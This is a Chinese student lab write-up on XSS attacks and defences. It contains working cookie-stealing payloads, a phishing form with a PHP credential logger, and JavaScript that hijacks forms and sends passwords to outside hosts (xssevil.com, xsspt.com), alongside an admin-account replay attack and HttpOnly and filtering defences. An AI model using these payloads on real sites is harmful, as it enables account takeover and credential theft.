开放性实验——web安全研究与实践
目录
XSS跨脚本攻击演示
Cookie会话攻击
会话劫持
XSS网络钓鱼演示
网页挂马+DOS
XSS的防御
XSS可能发生的场景:
进一步的研究:
XSS跨脚本攻击演示
- 反射型:在向网站服务器提交表单时会即使执行嵌入的恶意代码的情况。
a) 原因:过分信任用户,对用户的提交内容不进行过滤或者存在一些网站开发者自身没有发现的漏洞,导致攻击者实现xss攻击。
b) 实例


提交结果------

- 存储型
a) 允许用户存储数据的web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。

在简介处填写javascript代码,

在插入的时候并没有反应,而在查看该信息是呈现了出来,说明该网站存在存储型xss。那么我们也可以在简介处添加代码来获取管理员权限从而为自己创建新的管理员帐号,当真正的管理员查看该信息时,浏览器会自动执行恶意代码,从而创建了新的管理员帐号,这样就可以获取平台的管理权限了。
Cookie会话攻击
假设一个网站存在存储型XSS(或反射型XSS),攻击者就可以向漏洞页面写入窃取cookie信息的恶意代码,在用户浏览XSS网页时,攻击者就能获取受害者当前浏览器中的cookie信息。
演示:
工具:fiddler

先进行正常登录,登陆成功后页面为:

在首栏有这些内容:
Home,Configuration,Forums&Post,Users&Groups,Templates&Style,Tools&Maintenance.
下面是fiddler获取到的信息:

看到了cookie——
Cookie: acploginattempts=0;
adminsid=6f1775862e66ec4b48c3647507d4a5d1
现在验证一下用cookie建立会话,在另一个浏览器打开该网址,利用fiddler抓包,然后添加Cookie,点击释放,可以看到,我们获取到了同样的HTML文档信息:

然后将所有host为192.168.137.128的请求添加
Cookie: acploginattempts=0;
adminsid=6f1775862e66ec4b48c3647507d4a5d1
最终发现,我们顺利进入了mybb后台管理系统,如图:

停止阻断,就可以正常在管理后台进行操作。以上操作说明,只要获取了cookie,我们就可以伪造管理员建立连接并登陆。
而当我们的真正的管理员退出时,cookie过期,攻击者的连接便无法维持了,于是自动退出了。

下面演示如何盗取cookie。
攻击者可以通过构造带有诱惑性的连接来获取客户端的信息,代码如下:
var link=document.location.href;
document.location="http://xssevil.com/cookie.php?url="+link+"&cookie="+document.cookie;


Cookie信息已经被发送到攻击者的主机上。

显然我们无法获取完整的cookie,这是因为http-only=true的原因。http-only=true时,表示该cookie不能被脚本获取。

所以,我们可以只知道如果cookie的http-only=false,那么我们可以盗用cookie,并获取用户在该服务器上的大部分权限,如果攻击对象时网站管理员,那么我们就可以为自己添加一个管理员账号,从而获取、调用网站的资源,甚至留下后门,如果是普通用户我们则可以查看其个人信息等。
其他获取cookie的代码:
嵌入图片中的连接远程调用脚本文件:
<img src=”’http://www.test.com/cookie.php?cookie=’+document.cookie”/>
脚本形式——
<script>
new Image().src=
”http://www.test.com/cookie.php?cookie=”+document.cookie;
</script>
<script>
img=new Image();
img.src=”http://www.test.com/cookie.php?cookie=”+document.cookie;
img.width=0;
img.height=0;
</script>
<script>
document.write(‘<img src=”’http://www.test.com/cookie.php?cookie=’+document.cookie” width=0 height=0 border=0/>’)
</script>
防御:
设置http-only属性值为true,cookie将无法被脚本获取:

选择节为system.web/httpcookie,然后将httpOnlyCookie属性修改为true。

利用HttpResponse的addHeader方法,设置Set-Cookie的值,
cookie字符串的格式:key=value(cookie值); Expires=date(cookie有效期); Path=path(存放路径); Domain=domain; Secure; HttpOnly
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
PHP设置方法:
header("Set-Cookie:tmp=100;HttpOnly");
或者
setcookie("tmp", 100, NULL, NULL, NULL, NULL, TRUE);//这里的true就是设置http-only=true
会话劫持
3. 了解Session
Session的中文名是会话,其实就是访问者从到达特定主页到离开那段时间。在这个过程中,每个访问都会得到一个单独的Session。Session是基于访问的进程,记录了一个访问的开始到结束,当浏览器或进程关闭之后,Session也就“消失”了。
在session机制中,客户端和服务器通过标识符来识别用户身份和维持会话,但这个标识符也会有被其他人利用的可能。Session和cookie最大的区别就是,Session是保存在服务器的内存里面,而cookie保存于浏览器或客户端文件里面。
4. 演示:
a) 在虚拟机上mybb网站后台添加管理员,同时本地使用burpsuit进行抓包。(不知道受害者浏览器的代理服务器怎么抓包???本实验将管理员管理员所用的浏览器代理修改为了192.168.1.102:8080,如果要对其他用户进行抓包也要设法更改其浏览器的代理)
b) 假如我们截取到了网站管理员在添加新管理员时的请求报文如下:

其中最重要的就是my_post_key那行信息,XSession和123456是新管理员的账号和密码,复制整个请求报文,修改
username=hacker&password=123456&confirm_password=123456&email=1234%40qq.com
填写host1=192.168.137.128和port=8080,利用Repeater重新发送。

c) 打开后台检查,发现hacker已添加成为新管理员了!

XSS网络钓鱼演示
- 了解网站钓鱼:网站钓鱼主要通过对受害者心理弱点、好奇心、信任度等心理陷阱来实现诈骗,属于社会工程学的一种。
- 演示:
a) 构造钓鱼页面将当前网页重定向到钓鱼网页上:
/钓鱼页面/
一般复制真实网址的页面,并修改表单提交地址,构造钓鱼页面:
//<form method="post" action="index.php?action=login"> 真实网站
//钓鱼网页,将表单提交到恶意服务器执行get.php脚本
<form method="post" action="http://www.evil.com/get.php">
<input type="text" name="username" value="Nick"/><br>
<input type="password" name="password" value="pass"/><br>
<input type="submit" name="login" value="submit"/>
</form>
/记录信息的脚本/
<?php
//将登陆用户名和密码写在本地的一个login.txt文件里
$data=fopen("login.txt","a+");
$login=$_POST['username'];
$pass=$_POST['password'];
fwrite($data,"Username:$login\n");
fwrite($data,"Password:$pass\n");
fclose($data);
//在记录了登录信息后转回原来的目标网站,避免发现
Header("location:http://target.com");?>
构造好了钓鱼网页之后便是要诱使用户在伪造的网页上提交个人重要信息或点击隐藏的链接从而执行恶意脚本。
常见的是以弹窗的形式诱使用户点击:
如何制作弹窗:https://www.xuewangzhan.net/wenti/692.html
也有短信和邮件里的虚假链接等等。
虚假的链接与真正的网站url会被伪造成十分相像的样子,比如正常网址中的“l”(小写L)会用数字“1”顶替,“o”会数字“0”顶替等等,这些小改动,如果不仔细看就很容易中招。
此外, HTML注入式钓鱼:直接将整个页面插入:
http://www.bug.com/index.php?search=”
‘<html>
<head><title>login</title></head>
<body><div><form method=”POST” action=”fishing.php” name=”form”>
<br>Login<br>
<input name=”login”/>
<br>Password:<br>
<input name=”password”/>
<br><input name=”valid” value=”OK” type=”submit”/><br>
</form></div></body></html>’
先把search的值用双引号封闭掉,然后直接将整个伪造的页面插入。接下来就是投放这样的恶意链接了。
b) XSS框架钓鱼:
攻击者会在漏洞网站利用代码:
http://www.bug.com/index.php?s=
<script src=http://www.evil.com/xss.js></script>
当用户访问该链接时,就会动态调用远程的xss.js文件,该文件的作用是创建一个iframe框架覆盖目标页面,再加载远程域伪造的钓鱼页面:
document.body.innerHTML=(
'<div style=
"position:absolute; top:0px;left:0px;width=100%;height:100%;">'+
'<iframe src=
http://www.ismyweb.com/login.html width=100% height=100%>'+
'</iframe></div>'
);
//http://www.ismyweb.com是自建的服务器
//login.html是已经做好的伪网页
//style="position:absolute; top:0px;left:0px;width=100%;height:100%;使得伪网页将目标页面覆盖
有时候为了掩盖写入的恶意代码,会使用工具将长url缩短,这样用户就无法知道脚本的内容,缩短后的url具有伪装性,但同时也会显得奇奇怪怪,令人生出警惕。
短url网站:https://www.ft12.com/
还原短url网站:http://bitly.co/

在kali虚拟机上有一些社工软件可以完成对真实网页进行克隆,将用户输入的数据返回到终端。
c) 利用javascript脚本劫持表单HTML表单和控制web行为:
利用XSS测试平台演示一下:


查看代码——
网页源码:
<!DOCTYPE html>
<html>
<head>
<title>XSS Pishing</title>
<meta http-equiv="Content-Type" content="text/html" charset="utf-8">
</head>
<body>
<p>登录</p>
<form method="post" id="login" name="userlogin"
action="http://www.ismyweb.com/get.php">
<input type="text" id="user" name="username" value="Nick"><br/>
<input type="password" id="pass" name="password" value="Pass"/><br/>
<input type="submit" name="login" value="Submit"/>
</body>
</html>
注入exploit:
eval('window.s=document.createElement("script");window.s.src="//xsspt.com/s4ofEx";document.body.appendChild(window.s)')
攻击代码:
function create_body() {
document.write('<body></body>'); //添加<body>标签
}
function create_form(user) { /*获取明文密码,在body里插入form表单*/
var f = document.createElement('form');
f.style.display = 'none'
document.getElementsByTagName('body') [0].appendChild(f);
//input提交的类型type和name及id属性值——账号
//添加至表单
var e1 = document.createElement('input');
e1.type = 'text';
e1.name = 'username';
e1.id = 'user';
f.appendChild(e1);
//input提交的类型type和name及id属性值——密码
//添加至表单
var e = document.createElement('input');
e.name = 'password';
e.type = 'password';
e.id = 'pass';
f.appendChild(e);
setTimeout(function () {
username = document.getElementById('user').value;
password = document.getElementById('pass').value;
if (username.length > 0) {
var newimg = new Image();
newimg.src = 'https://xsspt.com/index.php?do=api&id=s4ofEx&username=' + username + '&password=' + password;
}
}, 2000);
/* 时间竞争,两秒后执行该函数,将账号密码发送到https://xsspt.com/index.php */
}
create_form('');
另外的写法:
function saveData(user,pass){
var frame=document.createElement("iframe");
frame.height=0.01;
frame.width=0.01;
var url=document.location.href;
frame.style.dispaly="none";
frame.src="http://xssevil.com/get.php?username="+user+"&password="+pass+"&url="+url;
document.body.appendChild(frame);
}
function getData() { /*获取表单信息*/
username = document.getElementById('user').value;
password = document.getElementById('pass').value;
}
function create_frame(user) { /*获取明文密码*/
setTimeout(getData,2000); //先获取表单数据
setTimeout(function(){saveData(username,password)},3000);
//传参,自动执行函数
}
create_frame('');


由于iframe会被当作广告屏蔽,所以这种方法不一定能成功
设置iframe和new image()的目的都是为了向攻击者服务器提交数据,只要那条链接被访问,数据就能被提交,因此提交数据的方法不限于这些。
除了利用
new image()方法,通过加载图片来访问连接;
利用iframe框架加载访问链接;
还可以用图片加载的方式提交数据:
function getData() {
username = document.getElementById('user').value;
password = document.getElementById('pass').value;
}//假设都有id且均为user和pass,可根据页面源码修改
function create_img(username,password){
var img=document.createElement("img");
img.src="http://xssevil.com/get.php?username="+username+"&password="+password
}
setTimeout(getData,2000);
setTimeout(function(){create_img(username,password);},3000);


可以看到,submit下面有一个小黑框,那是无法加载的图片,由于小所以很难被发现,具有一定的隐蔽性。
可以这样认为,只要向会自动加载的属性添加提交url,那么我们就可以获取相关的数据,像这里的iframe和img的src。
防范:钓鱼攻击主要利用了人的心理缺点,所以归根结底还是要养成良好的上网习惯,比如不随便点开陌生的链接,在浏览重要网站时,不同同时浏览其他不安全的网站,不轻信,不贪图小便宜等等。
网页挂马+DOS
说明:用户在浏览网页的同时也在运行木马程序,比如下载一下木马文件等等。
演示
“xss”会不停的弹出,无法关闭,当然我们的PHP文件也可以是下载一个木马文件并执行安装,这样的危害就变高了。
攻击者可以通过xss注入恶意代码不断地向服务器提交请求,或者劫持大量浏览器向服务器发出请求,就可以形成DDOS攻击。
XSS的防御
XSS漏洞的形成的原因是对输入和输出没有严格过滤,在页面执行JavaScript等客户端脚本,这就意味着只要将敏感字符过滤,即可修复XSS跨站漏洞。
XSS可能发生的场景:
在标签内输出:
<div>${XSS}</div>
<a href=http://www.xsser.com>${XSS}</a>
<h3>${XSS}</h3>
<p>${XSS}</p>
利用:直接控制${XSS}即可,最简单的XSS
<div><script>alert(123)</script></div>
在属性内输出:
<div class=”${XSS}”></div>
<input type=”text” name=”username” value=”${XSS}”/>
<a href=”${XSS}”>Hello</a>
在属性内输出数据的时候,只要闭合标签,就可以进入XSS操作:
<div class=””><script>alert(123)</script></div>
<input type=”text” name=”username” value=”” onclick=”alert(/xss/)”/>
<a href=”javascript:alert(/xss/)”>Hello</a> //使用协议
在事件中输出:
<img src=”x.jpg” onerror=”${xss}”/>
<input type=”text” name=”username” value=”test”
onclick=”fun(‘${xss}’)”/>
同样是对标签进行闭合:
<img src=”x.jpg” onerror=”javascript:alert(123)”/>
<input type=”text” name=”username” value=”test”
onclick=”fun(‘1’);alert(123);//’)”/>
事件的属性值就是JavaScript代码
在CSS中输出:
<style type=”text/css”>
body{background-image:url(${XSS});}
body{background-image:expression(${xss});}
</style>
在CSS中输出同样存在XSS风险:
body{background-image:url(“javascript:alert(‘xss’)”);}
body{background-image:expression(alert(123));}
在script标签中输出:
<script>
var username=”${username}”;
</script>
闭合标签:
var username=”1” ; alert(123);//”;
对于这些XSS,我们利用一些函数处理字符串就可以避免:
先看源码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html" charset="utf-8"/>
<title>防御简单XSS</title>
</head>
<body>
<a href="xssguard.php?action=none">无防御</a> ||
<a href="xssguard.php?action=done">有防御</a><br><br>
<?php
error_reporting(E_ALL&~E_NOTICE); //不写会warning
function myload($classname){
include strtolower($classname).'.xss.php';
}
spl_autoload_register("myload",true,true);
echo new Form("xssguard.php");
if(isset($_POST["sub"])){
echo new Result();
}
?>
</body>
</html>
form.xss.php
<?php
/**
project:XSS防御
file:form.xss.php
声明表单类
*/
class Form
{
private $phpfile;
private $way; //done or none
function __construct($phpfile=''){
$this->phpfile=$phpfile; //guard.php
$this->way=isset($_GET['action'])?$_GET['action']:"none";
}
function __toString()
{
$form=
'<form action="'.$this->phpfile.'?action='.$this->way.'" method="post">';
$form.='<input type="text" name="words" style="width:260px"
value="'.$_POST["words"].'"/><br><br>';
$form.='<input type="submit" name="sub" value="处理表单数据"/></form>';
return $form;
}
}
?>
Result.xss.php
<?php
/**
project:xssguard
file:result.xss.php
声明一个类完成处理结果的输出
*/
class Result
{
private $reway;
function __construct()
{
$this->reway=$_GET['action'];
}
//设置处理函数,根据action值不同采取不同字符串处理措施
function __toString()
{
$postvar=$_POST['words'];
$result='处理后:';
if($this->reway=="done")
{
$result.=htmlspecialchars(stripslashes($postvar));
//$result=strip_tags($postvar);将所有标签去掉
}
else if($this->reway="none")
{
$result.=$postvar;
}
return $result;
}
}
?>
看演示效果:
无防御:


有防御:

内容直接被输出。
因为htmlsecialchars()能把一些特定字符转化为html实体,像
“&”=>”&”,
”””(双引号)=>”&qout;”,
“’”(单引号)=>”'”
“<”=>”<”,
“>”=>”&rt;”.
所以在html代码中,

在输出时又变回
stripslashes()是删除反斜线.
还有其他的用于过滤的函数:
htmlentities()可以将所有非ASCII码字符转换为对应的实体代码
strip_tags()可以删除所有的html标签。

但以上方法都无法防御封闭标签的恶意代码,如">

所以这是基本的过滤。
怎么过滤封闭标签的注入呢?

查看源码可以看到,$_POST[“words”]不经过任何过滤就输出在了输入框内,因此存在xss.因此我们对这里的$_POST也要过滤。

这样就能抵抗封闭标签的恶意代码了。
进一步的研究:
对于XSS攻击的防范,从网站方面来看,就是不要相信用户的任何输入,有必要对所有的输入进行过滤和审查,不轻易让用户爬取到网站上的个人信息;从用户的角度看,习惯安全上网,不随意浏览陌生网站,不随便点陌生链接。实际的攻击往往会更复杂,会结合多种漏洞,比如结合存储型xss的跨站申请攻击,结合XSS的钓鱼攻击,结合XSS的DOS攻击等等,所以后续会进行对其他漏洞的研究,并从攻者的角度思考结合各种攻击方式实现目标,从而知道如何防御。希望可以在研究过程中总结出防御的思想和思维,毕竟攻击手段穷出不尽,掌握根本的防御思想,方能以不变应万变,而这些都要在实践中形成的,见识愈多,感悟越多,生命不止,学习不止。
感谢阅读!

浙公网安备 33010602011771号